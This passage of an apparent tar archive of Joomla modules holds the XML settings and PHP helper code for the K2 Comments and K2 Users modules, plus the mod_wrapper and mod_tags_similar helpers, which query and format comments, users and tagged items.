                <field name="category_id" type="categoriesmultiple" default="" label="K2_FILTER_COMMENTS_BY_SELECTED_CATEGORIES" description="K2_SELECT_ONE_ORE_MORE_CATEGORIES_FROM_WHICH_YOU_WANT_TO_FILTER_THEIR_COMMENTS_SELECT_NONE_TO_FETCH_COMMENTS_FROM_ALL_CATEGORIES"/>
                <field name="comments_limit" type="text" size="4" default="5" label="K2_COMMENTS_LIST_LIMIT" description=""/>
                <field name="comments_word_limit" type="text" size="4" default="10" label="K2_COMMENT_WORD_LIMIT" description="K2_IF_WORD_LIMIT_IS_ENABLED_ANY_HTML_TAGS_WILL_BE_STRIPPED_OFF_TO_PREVENT_THE_PAGE_MARKUP_FROM_BREAKING"/>
                <field name="commenterName" type="list" default="1" label="K2_COMMENTER_IDENTIFIER" description="">
                    <option value="0">K2_DONTSHOW</option>
                    <option value="1">K2_SHOW_NAME</option>
                    <option value="2">K2_SHOW_USERNAME_IFEXISTS</option>
                </field>
                <field name="commentAvatar" type="radio" default="1" label="K2_COMMENTER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commentAvatarWidthSelect" type="list" default="custom" label="K2_COMMENTER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="commentAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_COMMENTER_AVATAR_IN_PX" description=""/>
                <field name="commentDate" type="radio" default="1" label="K2_COMMENT_DATE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commentDateFormat" type="list" default="absolute" label="K2_COMMENT_DATE_FORMAT" description="">
                    <option value="absolute">K2_ABSOLUTE_EG_POSTED_1225_THU_JULY_30TH</option>
                    <option value="relative">K2_RELATIVE_EG_POSTED_2_HOURS_AGO</option>
                </field>
                <field name="commentLink" type="radio" default="1" label="K2_COMMENT_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemTitle" type="radio" default="1" label="K2_ITEM_TITLE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCategory" type="radio" default="1" label="K2_ITEM_CATEGORY" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="feed" type="radio" default="1" label="K2_FEED_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Top Commenters -->
                <field name="" type="header" default="K2_TOP_COMMENTERS" label="" description=""/>
                <field name="commenters_limit" type="text" size="4" default="5" label="K2_COMMENTERS_LIST_LIMIT" description=""/>
                <field name="commenterNameOrUsername" type="list" default="1" label="K2_COMMENTER_IDENTIFIER" description="">
                    <option value="1">K2_SHOW_NAME</option>
                    <option value="2">K2_SHOW_USERNAME</option>
                </field>
                <field name="commenterAvatar" type="radio" default="1" label="K2_COMMENTER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterAvatarWidthSelect" type="list" default="custom" label="K2_COMMENTER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="commenterAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_COMMENTER_AVATAR_IN_PX" description=""/>
                <field name="commenterLink" type="radio" default="1" label="K2_COMMENTER_LINK_TO_USER_PAGE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterCommentsCounter" type="radio" default="1" label="K2_COMMENTS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterLatestComment" type="radio" default="1" label="K2_LATEST_COMMENT_FROM_EACH_COMMENTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
mod_k2_comments/helper.php000060400000022630150746170540011624 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2CommentsHelper
{
    public static function getLatestComments(&$params)
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $config = JFactory::getConfig();

        // Time used for DB queries
        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        // Time used for comment rendering
        $isNow = new JDate();
        if (K2_JVERSION == '30') {
            $tzoffset = new DateTimeZone($app->getCfg('offset'));
            $isNow->setTimezone($tzoffset);
        } else {
            $tzoffset = $config->getValue('config.offset');
            $isNow->setOffset($tzoffset);
        }

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('comments_limit', '5');
        $cid = $params->get('category_id', null);

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        $query = "SELECT c.*, i.catid, i.title, i.alias, category.alias AS catalias, category.name AS categoryname
            FROM #__k2_comments AS c
            LEFT JOIN #__k2_items AS i ON i.id = c.itemID
            LEFT JOIN #__k2_categories AS category ON category.id = i.catid
            WHERE i.published = 1
                AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                AND i.trash = 0
                AND i.access {$aclCheck}
                AND category.published = 1
                AND category.trash = 0
                AND category.access {$aclCheck}
                AND c.published = 1";

        if ($params->get('catfilter') && !is_null($cid)) {
            if (is_array($cid)) {
                $query .= " AND i.catid IN(".implode(',', $cid).")";
            } else {
                $query .= " AND i.catid = ".(int)$cid;
            }
        }

        if ($languageFilter) {
            $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
        }

        $query .= " GROUP BY i.id ORDER BY c.commentDate DESC";

        $db->setQuery($query, 0, $limit);
        $rows = $db->loadObjectList();

        $pattern = "@\b(https?://)?(([0-9a-zA-Z_!~*'().&=+$%-]+:)?[0-9a-zA-Z_!~*'().&=+$%-]+\@)?(([0-9]{1,3}\.){3}[0-9]{1,3}|([0-9a-zA-Z_!~*'()-]+\.)*([0-9a-zA-Z][0-9a-zA-Z-]{0,61})?[0-9a-zA-Z]\.[a-zA-Z]{2,6})(:[0-9]{1,4})?((/[0-9a-zA-Z_!~*'().;?:\@&=+$,%#-]+)*/?)@";

        $comments = array();

        if (count($rows)) {
            foreach ($rows as $row) {

                // Relative comment date
                if ($params->get('commentDateFormat') == 'relative') {
                    $created = new JDate($row->commentDate);
                    $diff = $isNow->toUnix() - $created->toUnix();
                    $dayDiff = floor($diff / 86400);

                    if ($dayDiff == 0) {
                        if ($diff < 5) {
                            $row->commentDate = JText::_('K2_JUST_NOW');
                        } elseif ($diff < 60) {
                            $row->commentDate = $diff.' '.JText::_('K2_SECONDS_AGO');
                        } elseif ($diff < 120) {
                            $row->commentDate = JText::_('K2_1_MINUTE_AGO');
                        } elseif ($diff < 3600) {
                            $row->commentDate = floor($diff / 60).' '.JText::_('K2_MINUTES_AGO');
                        } elseif ($diff < 7200) {
                            $row->commentDate = JText::_('K2_1_HOUR_AGO');
                        } elseif ($diff < 86400) {
                            $row->commentDate = floor($diff / 3600).' '.JText::_('K2_HOURS_AGO');
                        }
                    }
                }

                // Comment text
                $row->commentText = K2HelperUtilities::wordLimit($row->commentText, $params->get('comments_word_limit'));
                $row->commentText = preg_replace($pattern, '<a target="_blank" rel="nofollow" href="\0">\0</a>', $row->commentText);

                // Comment anchor link
                $row->itemLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($row->itemID.':'.urlencode($row->alias), $row->catid.':'.urlencode($row->catalias))));
                $row->link = $row->itemLink."#comment{$row->id}";

                // Categoty link
                $row->catLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->catid.':'.urlencode($row->catalias))));

                // User
                if ($row->userID > 0) {
                    $row->userLink = JRoute::_(K2HelperRoute::getUserRoute($row->userID));
                    $getExistingUser = JFactory::getUser($row->userID);
                    $row->userUsername = $getExistingUser->username;
                } else {
                    $row->userUsername = $row->userName;
                }

                // Switch between commenter name and username
                if ($params->get('commenterName', 1) == 2) {
                    $row->userName = $row->userUsername;
                }

                // User avatar
                $row->userImage = '';
                if ($params->get('commentAvatar')) {
                    $row->userImage = K2HelperUtilities::getAvatar($row->userID, $row->commentEmail, $componentParams->get('commenterImgWidth'));
                }

                // Populate the output array
                $comments[] = $row;
            }

            return $comments;
        }
    }

    public static function getTopCommenters(&$params)
    {
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');

        $db = JFactory::getDbo();

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('commenters_limit', '5');

        $query = "SELECT COUNT(id) as counter, userName, userID, commentEmail FROM #__k2_comments WHERE userID > 0 AND published = 1 GROUP BY userID ORDER BY counter DESC";

        $db->setQuery($query, 0, $limit);
        $rows = $db->loadObjectList();

        $pattern = "@\b(https?://)?(([0-9a-zA-Z_!~*'().&=+$%-]+:)?[0-9a-zA-Z_!~*'().&=+$%-]+\@)?(([0-9]{1,3}\.){3}[0-9]{1,3}|([0-9a-zA-Z_!~*'()-]+\.)*([0-9a-zA-Z][0-9a-zA-Z-]{0,61})?[0-9a-zA-Z]\.[a-zA-Z]{2,6})(:[0-9]{1,4})?((/[0-9a-zA-Z_!~*'().;?:\@&=+$,%#-]+)*/?)@";

        $commenters = array();

        if (count($rows)) {
            foreach ($rows as $row) {
                if ($row->counter > 0) {

                    // User link
                    $row->link = JRoute::_(K2HelperRoute::getUserRoute($row->userID));

                    // User name
                    if ($params->get('commenterNameOrUsername', 1) == 2) {
                        $getExistingUser = JFactory::getUser($row->userID);
                        $row->userName = $getExistingUser->username;
                    }

                    // User avatar
                    if ($params->get('commentAvatar')) {
                        $row->userImage = K2HelperUtilities::getAvatar($row->userID, $row->commentEmail, $componentParams->get('commenterImgWidth'));
                    }

                    // User's last comment
                    if ($params->get('commenterLatestComment')) {
                        $query = "SELECT * FROM #__k2_comments WHERE userID = ".(int)$row->userID." AND published = 1 ORDER BY commentDate DESC";

                        $db->setQuery($query, 0, 1);
                        $comment = $db->loadObject();

                        $item = JTable::getInstance('K2Item', 'Table');
                        $item->load($comment->itemID);

                        $category = JTable::getInstance('K2Category', 'Table');
                        $category->load($item->catid);

                        $row->latestCommentText = $comment->commentText;
                        $row->latestCommentText = preg_replace($pattern, '<a target="_blank" rel="nofollow" href="\0">\0</a>', $row->latestCommentText);

                        $row->latestCommentLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($category->alias))))."#comment{$comment->id}";

                        $row->latestCommentDate = $comment->commentDate;
                    }

                    // Populate the output array
                    $commenters[] = $row;
                }
            }

            return $commenters;
        }
    }
}
mod_k2_comments/index.html000060400000000054150746170550011626 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_wrapper/helper.php000064400000002604150746170550011067 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_wrapper
 *
 * @since  1.5
 */
class ModWrapperHelper
{
	/**
	 * Gets the parameters for the wrapper
	 *
	 * @param   mixed  &$params  The parameters set in the administrator section
	 *
	 * @return  mixed  &params  The modified parameters
	 *
	 * @since   1.5
	 */
	public static function getParams(&$params)
	{
		$params->def('url', '');
		$params->def('scrolling', 'auto');
		$params->def('height', '200');
		$params->def('height_auto', 0);
		$params->def('width', '100%');
		$params->def('add', 1);
		$params->def('name', 'wrapper');

		$url = $params->get('url');

		if ($params->get('add'))
		{
			// Adds 'http://' if none is set
			if (strpos($url, '/') === 0)
			{
				// Relative URL in component. use server http_host.
				$url = 'http://' . $_SERVER['HTTP_HOST'] . $url;
			}
			elseif (strpos($url, 'http') === false && strpos($url, 'https') === false)
			{
				$url = 'http://' . $url;
			}
		}

		// Auto height control
		if ($params->def('height_auto'))
		{
			$load = 'onload="iFrameHeight(this)"';
		}
		else
		{
			$load = '';
		}

		$params->set('load', $load);
		$params->set('url', $url);

		return $params;
	}
}
mod_tags_similar/helper.php000064400000011753150746170550012072 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');

/**
 * Helper for mod_tags_similar
 *
 * @since  3.1
 */
abstract class ModTagssimilarHelper
{
	/**
	 * Get a list of tags
	 *
	 * @param   Registry  &$params  Module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$app        = JFactory::getApplication();
		$option     = $app->input->get('option');
		$view       = $app->input->get('view');

		// For now assume com_tags and com_users do not have tags.
		// This module does not apply to list views in general at this point.
		if ($option === 'com_tags' || $view === 'category' || $option === 'com_users')
		{
			return array();
		}

		$db         = JFactory::getDbo();
		$user       = JFactory::getUser();
		$groups     = implode(',', $user->getAuthorisedViewLevels());
		$matchtype  = $params->get('matchtype', 'all');
		$maximum    = $params->get('maximum', 5);
		$ordering   = $params->get('ordering', 'count');
		$tagsHelper = new JHelperTags;
		$prefix     = $option . '.' . $view;
		$id         = $app->input->getInt('id');
		$now        = JFactory::getDate()->toSql();
		$nullDate   = $db->getNullDate();

		$tagsToMatch = $tagsHelper->getTagIds($id, $prefix);

		if (!$tagsToMatch || $tagsToMatch === null)
		{
			return array();
		}

		$tagCount = substr_count($tagsToMatch, ',') + 1;

		$query = $db->getQuery(true)
			->select(
				array(
					$db->quoteName('m.core_content_id'),
					$db->quoteName('m.content_item_id'),
					$db->quoteName('m.type_alias'),
					'COUNT( ' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('count'),
					$db->quoteName('ct.router'),
					$db->quoteName('cc.core_title'),
					$db->quoteName('cc.core_alias'),
					$db->quoteName('cc.core_catid'),
					$db->quoteName('cc.core_language'),
					$db->quoteName('cc.core_params'),
				)
			);

		$query->from($db->quoteName('#__contentitem_tag_map', 'm'));

		$query->join('INNER', $db->quoteName('#__tags', 't') . ' ON m.tag_id = t.id')
			->join('INNER', $db->quoteName('#__ucm_content', 'cc') . ' ON m.core_content_id = cc.core_content_id')
			->join('INNER', $db->quoteName('#__content_types', 'ct') . ' ON m.type_alias = ct.type_alias');

		$query->where($db->quoteName('m.tag_id') . ' IN (' . $tagsToMatch . ')');
		$query->where('t.access IN (' . $groups . ')');
		$query->where('(cc.core_access IN (' . $groups . ') OR cc.core_access = 0)');

		// Don't show current item
		$query->where('(' . $db->quoteName('m.content_item_id') . ' <> ' . $id
			. ' OR ' . $db->quoteName('m.type_alias') . ' <> ' . $db->quote($prefix) . ')'
		);

		// Only return published tags
		$query->where($db->quoteName('cc.core_state') . ' = 1 ')
			->where('(' . $db->quoteName('cc.core_publish_up') . '=' . $db->quote($nullDate) . ' OR '
				. $db->quoteName('cc.core_publish_up') . '<=' . $db->quote($now) . ')'
			)
			->where('(' . $db->quoteName('cc.core_publish_down') . '=' . $db->quote($nullDate) . ' OR '
				. $db->quoteName('cc.core_publish_down') . '>=' . $db->quote($now) . ')'
			);

		// Optionally filter on language
		$language = JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = JHelperContent::getCurrentLanguage();
			}

			$query->where($db->quoteName('cc.core_language') . ' IN (' . $db->quote($language) . ', ' . $db->quote('*') . ')');
		}

		$query->group(
			$db->quoteName(
				array('m.core_content_id', 'm.content_item_id', 'm.type_alias', 'ct.router', 'cc.core_title',
				'cc.core_alias', 'cc.core_catid', 'cc.core_language', 'cc.core_params')
			)
		);

		if ($matchtype === 'all' && $tagCount > 0)
		{
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  = ' . $tagCount);
		}
		elseif ($matchtype === 'half' && $tagCount > 0)
		{
			$tagCountHalf = ceil($tagCount / 2);
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  >= ' . $tagCountHalf);
		}

		if ($ordering === 'count' || $ordering === 'countrandom')
		{
			$query->order($db->quoteName('count') . ' DESC');
		}

		if ($ordering === 'random' || $ordering === 'countrandom')
		{
			$query->order($query->Rand());
		}

		$db->setQuery($query, 0, $maximum);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$results = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		foreach ($results as $result)
		{
			$result->link = TagsHelperRoute::getItemRoute(
				$result->content_item_id,
				$result->core_alias,
				$result->core_catid,
				$result->core_language,
				$result->type_alias,
				$result->router
			);

			$result->core_params = new Registry($result->core_params);
		}

		return $results;
	}
}
mod_k2_users/mod_k2_users.php000060400000002716150746170550012261 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$getTemplate = $params->get('getTemplate', 'Default');
$userName = $params->get('userName', 1);
$userAvatar = $params->get('userAvatar', 1);
$userAvatarWidthSelect = $params->get('userAvatarWidthSelect', 'custom');
$userAvatarWidth = $params->get('userAvatarWidth', 50);
$userDescription = $params->get('userDescription', 1);
$userDescriptionWordLimit = $params->get('userDescriptionWordLimit');
$userURL = $params->get('userURL', 1);
$userEmail = $params->get('userEmail', 0);
$userFeed = $params->get('userFeed', 1);
$userItemCount = $params->get('userItemCount', 1);

// User avatar
if ($userAvatarWidthSelect == 'inherit') {
    $componentParams = JComponentHelper::getParams('com_k2');
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $userAvatarWidth;
}

$users = modK2UsersHelper::getUsers($params);

require(JModuleHelper::getLayoutPath('mod_k2_users', $getTemplate.'/default'));
mod_k2_users/mod_k2_users.xml000060400000014264150746170550012273 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Users</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_USERS_DESCRTIPTION</description>
    <files>
        <filename module="mod_k2_users">mod_k2_users.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="getTemplate" type="moduletemplate" modulename="mod_k2_users" default="Default" label="K2_SELECT_SUBTEMPLATE" description="This module utilizes on-the-fly MVC template overrides. What this means is that you can create a new sub-template folder for this module within your Joomla template's /html/mod_k2_users/ folder. The module will then pickup the new sub-template auto-magically, without you editing any XML file or doing any other non-designer work!"/>
                <field name="source" type="list" default="0" label="K2_SOURCE" description="">
                    <option value="filter">K2_RETRIEVE_USERS_USING_FILTERS</option>
                    <option value="specific">K2_RETRIEVE_SPECIFIC_USERS</option>
                </field>
                <field name="" type="header" default="K2_RETRIEVE_USERS_USING_FILTERS" label="" description=""/>
                <field name="filter" type="list" default="1" label="K2_FETCH_USERS" description="">
                    <option value="0">K2_BY_K2_USER_GROUP</option>
                    <option value="1">K2_WITH_MOST_ITEMS</option>
                    <option value="2">K2_WITH_MOST_POPULAR_ITEMS</option>
                    <option value="3">K2_WITH_MOST_COMMENTED_ITEMS</option>
                </field>
                <field name="K2UserGroup" type="sql" default="" label="K2_SELECT_A_K2_USER_GROUP" query="SELECT id AS value, name AS K2UserGroup FROM #__k2_user_groups"/>
                <field name="ordering" type="list" default="1" label="K2_ORDERING" description="">
                    <option value="alpha">K2_ALPHABETICAL</option>
                    <option value="recent">K2_MOST_RECENT_ITEM</option>
                    <option value="random">K2_RANDOM</option>
                </field>
                <field name="limit" type="text" default="4" size="4" label="K2_LIMIT" description=""/>
                <field name="" type="header" default="K2_RETRIEVE_SPECIFIC_USERS" label="" description=""/>
                <field name="userIDs" type="k2modalselector" scope="users" default="" label="K2_SELECTED_USERS_SORT_WITH_DRAG_DROP" description="K2_DRAG_USERS_ONE_BY_ONE_TO_REORDER_THE_LIST_CLICK_THE_REMOVE_ICON_TO_REMOVE_A_USER_FROM_THE_LIST"/>
                <field name="" type="header" default="K2_DISPLAY_OPTIONS" label="" description=""/>
                <field name="userName" type="radio" default="1" label="K2_NAME" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="userAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description=""/>
                <field name="userDescription" type="radio" default="1" label="K2_USER_DESCRIPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userDescriptionWordLimit" type="text" default="" size="4" label="K2_WORD_LIMIT_FOR_USER_DESCRIPTION" description=""/>
                <field name="userURL" type="radio" default="1" label="K2_URL" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userEmail" type="radio" default="0" label="K2_EMAIL" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userFeed" type="radio" default="1" label="K2_RSS_FEED_ICON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userItemCount" type="text" default="1" size="4" label="K2_ITEM_COUNT" description=""/>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
mod_k2_users/helper.php000060400000026613150746170550011146 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2UsersHelper
{
    public static function getUsers(&$params)
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        $userObjects = array();

        if ($params->get('source') == 'specific' && $params->get('userIDs')) {
            $IDs = array();
            if (is_string($params->get('userIDs'))) {
                $IDs[] = $params->get('userIDs');
            } else {
                $IDs = $params->get('userIDs');
            }

            $query = "SELECT users.name, users.email, users.id AS UID, profiles.*
                FROM #__users AS users
                LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                WHERE users.block=0 AND users.id IN (".implode(',', $IDs).")";

            $db->setQuery($query);
            $userObjects = $db->loadObjectList();

            $newUserObjects = array();
            foreach ($IDs as $id) {
                foreach ($userObjects as $uO) {
                    if ($uO->UID == $id) {
                        $newUserObjects[] = $uO;
                        break;
                    }
                }
            }
            $userObjects = $newUserObjects;
        } else {
            switch ($params->get('filter', 0)) {

                // By K2 user group
                case 0:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*";

                    if ($params->get('ordering') == 'recent') {
                        $query .= ", MAX(i.created) AS counter";
                    }

                    $query .= " FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID";

                    if ($params->get('ordering') == 'recent') {
                        $query .= " LEFT JOIN #__k2_items AS i ON users.id=i.created_by LEFT JOIN #__k2_categories AS c ON i.catid=c.id";
                    }

                    $query .= " WHERE users.block=0 AND profiles.`group`=".(int)$params->get('K2UserGroup');

                    if ($params->get('ordering') == 'recent') {
                        $query .= " AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                        if ($languageFilter) {
                            $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                        }
                    }

                    switch ($params->get('ordering')) {
                        case 'alpha':
                            $orderby = "users.name";
                            break;
                        case 'recent':
                            $orderby = "counter DESC";
                            break;
                        case 'random':
                            $orderby = "RAND()";
                            break;
                    }

                    $query .= " GROUP BY users.id ORDER BY {$orderby}";
                    break;

                // With most items
                case 1:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, COUNT(i.id) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

